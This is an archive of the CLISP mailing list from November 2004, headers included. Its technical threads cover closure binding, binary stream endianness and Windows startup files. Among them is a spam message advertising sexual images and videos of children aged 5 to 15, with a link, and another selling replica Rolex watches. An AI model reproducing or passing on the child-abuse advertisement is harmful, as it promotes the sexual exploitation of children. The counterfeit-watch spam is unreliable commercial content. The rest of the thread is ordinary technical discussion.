be _bound_ to each digit, while CLISP _assigns_ it. -- Sam Steingold (http://www.podval.org/~sds) running w2k Two wrongs don't make a right, but three rights make a left. From sds@gnu.org Sat Nov 06 14:40:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQZEg-0001ot-8i for clisp-list@lists.sourceforge.net; Sat, 06 Nov 2004 14:40:42 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CQZDp-0001k1-NQ for clisp-list@lists.sourceforge.net; Sat, 06 Nov 2004 14:40:42 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157]:2387 helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 4.42 #5) id 1CQZDZ-0000YO-15; Sat, 06 Nov 2004 17:39:33 -0500 To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20041106210357.0D6BF1DCFC0@naiad.informatimago.com> (Pascal J. Bourguignon's message of "Sat, 6 Nov 2004 22:03:57 +0100 (CET)") References: <20041106210357.0D6BF1DCFC0@naiad.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: byte sex Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Nov 6 14:45:16 2004 X-Original-Date: Sat, 06 Nov 2004 17:39:33 -0500 > * Pascal J.Bourguignon [2004-11-06 22:03:57 +0100]: > > Is there a way to specify the byte sex of signed-byte and > unsigned-byte data? open your streams as (UNSIGNED-BYTE 8) and use READ-INTEGER and WRITE-INTEGER. > It seems that clisp always swap bytes, which is wrong of course (on > linux/ppc which is big-endian). But anyways, file format should not > be dependant on the processor, so there should be a mean to specify > the endianness with :EXTERNAL-FORMAT. indeed, :EXTERNAL-FORMAT format is ignored for binary i/o. I think your suggestion makes sense. -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between genius and stupidity is that genius has its limits. From awh@awh.org Sun Nov 07 07:38:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQp7a-0005Y3-97 for clisp-list@lists.sourceforge.net; Sun, 07 Nov 2004 07:38:26 -0800 Received: from adsl5-15-202.du.simnet.is ([157.157.23.202]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CQp7Y-0007Cy-JD for clisp-list@lists.sourceforge.net; Sun, 07 Nov 2004 07:38:26 -0800 Received: from mail.awh.org (mail.awh.org [66.11.169.66]) by adsl5-15-202.du.simnet.is (8.12.11/8.12.11) with ESMTP id B3ci47WfAGfHWT for ; Sun, 7 Nov 2004 09:37:01 -0600 Received: from [96.83.7.62] by mail.awh.org with Microsoft SMTPSVC(5.0.2195.5329) for ; Sun, 7 Nov 2004 09:37:01 -0600 Reply-To: "Juana Waddell" From: "Juana" Message-ID: <2164294739.135957968843@awh.org> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] About look 7 - 16 moths link Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 7 07:43:27 2004 X-Original-Date: Sun, 7 Nov 2004 09:37:01 -0600 For true lover quadripartite of pre teen done girls special collection designed look to satisfy the tastes Reason often makes mistakes, but conscience never does. They are so brainlessly virgin and innocent so young 5-15 y.o Faith has to do with things that are not seen, and hope with things that are not in hand. Thousands photos concha and gigabytes of video Small titties, Hairless job pussies. http://www.geocities.com/lola_harris_53/?s=clle&m=hYbRU-YbRQ.YbRQR,RVPShfeVSdf,WfQ Imagination was given man to compensate for what he is not, and a sense of humor to console him for what he is.The fly that does not want to be swatted is safest if it sits on the fly-swat. From joostkremers@yahoo.com Sun Nov 07 07:41:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CQpB1-0006cZ-8v for clisp-list@lists.sourceforge.net; Sun, 07 Nov 2004 07:41:59 -0800 Received: from web40524.mail.yahoo.com ([66.218.92.44]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CQpAz-0007yD-St for clisp-list@lists.sourceforge.net; Sun, 07 Nov 2004 07:41:59 -0800 Received: (qmail 66694 invoked by uid 60001); 7 Nov 2004 15:41:52 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=FBC5p8XLO6/bxalX3kiKh5vUmp4L3+cnlbuQrFHmLU7XnxNa0u+9nKr33A52SFX+HUFdirsHwt9s64SQ+SfSfADk1CkB16sdisbHPSUJ4Iuhr7C2kjAtpN7CEazuhE79bjUR2Cuf0Q9G9gd6ralTXpUSiAV9Tw2mKC4aaBil75A= ; Message-ID: <20041107154152.66692.qmail@web40524.mail.yahoo.com> Received: from [80.128.230.6] by web40524.mail.yahoo.com via HTTP; Sun, 07 Nov 2004 07:41:52 PST From: Joost Kremers Subject: Re: [clisp-list] Re: is this a bug in sbcl or in clisp? To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Nov 7 07:47:22 2004 X-Original-Date: Sun, 7 Nov 2004 07:41:52 -0800 (PST) --- Sam Steingold wrote: > try > > (dolist (k '(1 2 3 4 5 6 7 8 9 0)) > (let ((key k)) > (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e)) > (key-press key))))) > > you want the variable the be _bound_ to each digit, while CLISP > _assigns_ it. yes, i received an (accidentally?) off-list reply that made a lot of things clear to me, including why your version will work while mine didn't. thanks, joost -- Joost Kremers Life has its moments __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com From bruno@clisp.org Mon Nov 08 05:39:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CR9kE-0000iq-IY for clisp-list@lists.sourceforge.net; Mon, 08 Nov 2004 05:39:42 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CR9kD-0002Z7-6G for clisp-list@lists.sourceforge.net; Mon, 08 Nov 2004 05:39:42 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iA8DdRJI016668; Mon, 8 Nov 2004 14:39:27 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iA8DdLeq006152; Mon, 8 Nov 2004 14:39:21 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 3F6622BA80; Mon, 8 Nov 2004 13:33:10 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, User-Agent: KMail/1.5 References: <20041106210357.0D6BF1DCFC0@naiad.informatimago.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200411081433.09268.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: byte sex Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 8 05:53:09 2004 X-Original-Date: Mon, 8 Nov 2004 14:33:09 +0100 Pascal J.Bourguignon wrote: > > It seems that clisp always swap bytes, which is wrong of course (on > > linux/ppc which is big-endian). But anyways, file format should not > > be dependant on the processor You're contradicting yourself here: If you say that swapping bytes is "wrong", you are assuming that following the processor's endianness would be correct. But then the file format would depend on the processor! clisp implements the I/O on binary streams in a way that the format on disk is _not_ processor dependent. The details are undocumented, but happen to be little-endian for types such as `(UNSIGNED-BYTE ,(* 8 n)). > > so there should be a mean to specify > > the endianness with :EXTERNAL-FORMAT. You would gain nothing. There is no specification of the bit-by-bit format of a stream of `(UNSIGNED-BYTE ,n) or `(SIGNED-BYTE ,n) integers that a CL implementation can produce. Therefore you cannot read such a file in a different CL implementation than the one that produced it. And you can already read it in the same CL implementation. ANSI CL says that "The external-format is meaningful for any kind of file stream whose element type is a subtype of character." You see, it's not meant for binary I/O. Bruno From sds@gnu.org Mon Nov 08 06:47:03 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CRAnO-0007EB-SS for clisp-list@lists.sourceforge.net; Mon, 08 Nov 2004 06:47:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CRAnO-0004I7-Bc for clisp-list@lists.sourceforge.net; Mon, 08 Nov 2004 06:47:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iA8Ekk5p005594; Mon, 8 Nov 2004 09:46:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200411081433.09268.bruno@clisp.org> (Bruno Haible's message of "Mon, 8 Nov 2004 14:33:09 +0100") References: <20041106210357.0D6BF1DCFC0@naiad.informatimago.com> <200411081433.09268.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: byte sex Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 8 06:51:01 2004 X-Original-Date: Mon, 08 Nov 2004 09:46:46 -0500 > * Bruno Haible [2004-11-08 14:33:09 +0100]: > >>> so there should be a mean to specify >>> the endianness with :EXTERNAL-FORMAT. > > You would gain nothing. There is no specification of the bit-by-bit > format of a stream of `(UNSIGNED-BYTE ,n) or `(SIGNED-BYTE ,n) > integers that a CL implementation can produce. Therefore you cannot > read such a file in a different CL implementation than the one that > produced it. And you can already read it in the same CL > implementation. De jure, yes. De facto, I bet all CLs use the IEEE format in either the host byte order or some fixed byte order (either little-endian, like CLISP, or big-endian), so I see no harm in enabling CLISP to read all their files. > ANSI CL says that "The external-format is meaningful for any kind of > file stream whose element type is a subtype of character." You see, > it's not meant for binary I/O. So? We can do better, can't we? -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From pascal@informatimago.com Tue Nov 09 04:46:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CRVOd-0007eK-Ga for clisp-list@lists.sourceforge.net; Tue, 09 Nov 2004 04:46:51 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CRVOc-0000OT-0x for clisp-list@lists.sourceforge.net; Tue, 09 Nov 2004 04:46:51 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 64B1D586E2; Tue, 9 Nov 2004 13:46:41 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1A99A4F58; Tue, 9 Nov 2004 13:46:52 +0100 (CET) Message-ID: <16784.48188.79401.63231@thalassa.informatimago.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net In-Reply-To: <200411081433.09268.bruno@clisp.org> References: <20041106210357.0D6BF1DCFC0@naiad.informatimago.com> <200411081433.09268.bruno@clisp.org> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PIPE BODY: Text interparsed with | 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: byte sex Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 9 04:47:08 2004 X-Original-Date: Tue, 9 Nov 2004 13:46:52 +0100 Bruno Haible writes: > Pascal J.Bourguignon wrote: > > > It seems that clisp always swap bytes, which is wrong of course (on > > > linux/ppc which is big-endian). But anyways, file format should not > > > be dependant on the processor > > You're contradicting yourself here: If you say that swapping bytes is > "wrong", you are assuming that following the processor's endianness would > be correct. But then the file format would depend on the processor! > > clisp implements the I/O on binary streams in a way that the format on disk > is _not_ processor dependent. The details are undocumented, but happen to > be little-endian for types such as `(UNSIGNED-BYTE ,(* 8 n)). Well, I'm unhappy that the implemented byte order be little-endian (most portable binary file formats and the Internet protocols use big-endian), but I can deal with it. (the choice of endianness is mentioned in this section: http://clisp.cons.org/impnotes/stream-dict.html#bin-input) > > > so there should be a mean to specify > > > the endianness with :EXTERNAL-FORMAT. > > You would gain nothing. There is no specification of the bit-by-bit > format of a stream of `(UNSIGNED-BYTE ,n) or `(SIGNED-BYTE ,n) integers > that a CL implementation can produce. Therefore you cannot read such a file > in a different CL implementation than the one that produced it. And you can > already read it in the same CL implementation. > > ANSI CL says that "The external-format is meaningful for any kind of file > stream whose element type is a subtype of character." You see, it's not > meant for binary I/O. The complete quote is: The external-format is meaningful for any kind of file stream whose element type is a subtype of character. This option is ignored for streams for which it is not meaningful; however, implementations may define other element types for which it is meaningful. The consequences are unspecified if a character is written that cannot be represented by the given external file format. An implementation is free to define :EXTERNAL-FORMAT(s) for other :ELEMENT-TYPE(s). I was suggesting to do that. For example instead of defining non-standard EXT:READ-INTEGER and EXT:WRITE-INTEGER with a :ENDIANNESS argument, one could have rather defined an implementation specific external format. (I imagine that this possibility appeared only with the standard and did not exist at the CLtL epoch). :EXTERNAL-FORMAT '(:CLISP-BINARY-FILE [:ENDIANNESS [:BIG|:LITTLE]] [:BYTE-SIZE n] [:PACKED T|NIL] [:HEADER T|NIL] ...) But now I understand that the external format for element types other than (signed-byte 8) or (unsigned-byte 8) [or rather device native byte size] are to be considered implementation specific and should not be used for portable binary file formats. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From concepcionk.compton_kr@sgral.congreso.es Tue Nov 09 23:45:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CRnAC-0003Eq-0h for clisp-list@lists.sourceforge.net; Tue, 09 Nov 2004 23:45:08 -0800 Received: from [221.139.91.114] (helo=webnock.de) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CRnAA-00084R-M7 for clisp-list@lists.sourceforge.net; Tue, 09 Nov 2004 23:45:07 -0800 Received: from 110.37.181.67 by smtp.sgral.congreso.es; Wed, 10 Nov 2004 07:32:08 +0000 Message-ID: <5d0f01c4c6f7$cef7d218$586edbe1@webnock.de> From: "Concepcion K. Compton" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.1 SAVE_UP_TO BODY: Save Up To Subject: [clisp-list] Order Rolex or other Swiss watches online Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 9 23:46:01 2004 X-Original-Date: Wed, 10 Nov 2004 05:32:00 -0200 Heya, Do you want a rolex watch? In our online store you can buy replicas of Rolex watches. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Free shipping if you order 5 or more - Save up to 40% compared to the cost of other replicas - Standard Features: - Screw-in crown - Unidirectional turning bezel where appropriate - All the appropriate rolex logos, on crown and dial - Heavy weight Visit us: http://www.yomoi.com/rep/rolex/ Best regards, Hilton Jones No thanks: http://www.yomoi.com/z.php From edi@agharta.de Wed Nov 10 03:21:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CRqXX-0001Qh-Vk for clisp-list@lists.sourceforge.net; Wed, 10 Nov 2004 03:21:27 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CRqXU-0001Um-Sk for clisp-list@lists.sourceforge.net; Wed, 10 Nov 2004 03:21:27 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id F40102CC0E6 for ; Wed, 10 Nov 2004 12:21:18 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz X-Home-Page: http://weitz.de/ Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] RC file on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 10 03:22:01 2004 X-Original-Date: Wed, 10 Nov 2004 12:21:35 +0100 I just downloaded and installed the Win32 binary of 2.33.1 from SF on my laptop (Win XP pro SP2). I have an environment variable HOME set and CLISP starts up in this directory. However, it doesn't load the file .clisprc.lisp which is there. According to this file is supposed to be loaded, but arguably only for Unix-like systems. Searching for 'start' didn't reveal any additional information. Doesn't Win32-CLISP read any startup files or am I doing something wrong? Thanks, Edi. From sds@gnu.org Wed Nov 10 06:48:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CRtlP-0001m1-Sb for clisp-list@lists.sourceforge.net; Wed, 10 Nov 2004 06:47:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CRtlN-0001qA-ER for clisp-list@lists.sourceforge.net; Wed, 10 Nov 2004 06:47:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAAElHv3029638; Wed, 10 Nov 2004 09:47:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Edi Weitz Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Edi Weitz's message of "Wed, 10 Nov 2004 12:21:35 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Edi Weitz , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: RC file on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 10 06:48:04 2004 X-Original-Date: Wed, 10 Nov 2004 09:47:17 -0500 > * Edi Weitz [2004-11-10 12:21:35 +0100]: > > I just downloaded and installed the Win32 binary of 2.33.1 from SF on > my laptop (Win XP pro SP2). I have an environment variable HOME set > and CLISP starts up in this directory. However, it doesn't load the > file .clisprc.lisp which is there. According to > > this is the UNIX man page. I wonder if we need to put the win32 page there too. Or maybe just use the same file name on unix and woe32: Emacs loads ~/.emacs.elc on all platforms. > this file is supposed to be loaded, but arguably only for Unix-like > systems. Searching > > > > for 'start' didn't reveal any additional information. > > Doesn't Win32-CLISP read any startup files or am I doing something > wrong? -- Sam Steingold (http://www.podval.org/~sds) running w2k Are you smart enough to use Lisp? From lisp-clisp-list@m.gmane.org Fri Nov 12 16:40:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CSlyM-0001ig-Gp for clisp-list@lists.sourceforge.net; Fri, 12 Nov 2004 16:40:58 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CSlyL-0001W0-Sq for clisp-list@lists.sourceforge.net; Fri, 12 Nov 2004 16:40:58 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CSlyJ-00081S-00 for ; Sat, 13 Nov 2004 01:40:55 +0100 Received: from dsl092-108-084.nyc2.dsl.speakeasy.net ([66.92.108.84]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 13 Nov 2004 01:40:55 +0100 Received: from kreuter by dsl092-108-084.nyc2.dsl.speakeasy.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 13 Nov 2004 01:40:55 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Richard M Kreuter Lines: 11 Message-ID: <87654ay48n.fsf@daystrom.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dsl092-108-084.nyc2.dsl.speakeasy.net User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3.50 (berkeley-unix) Cancel-Lock: sha1:QaUDpHnncEm7pqMFQPyCjtA5cgk= 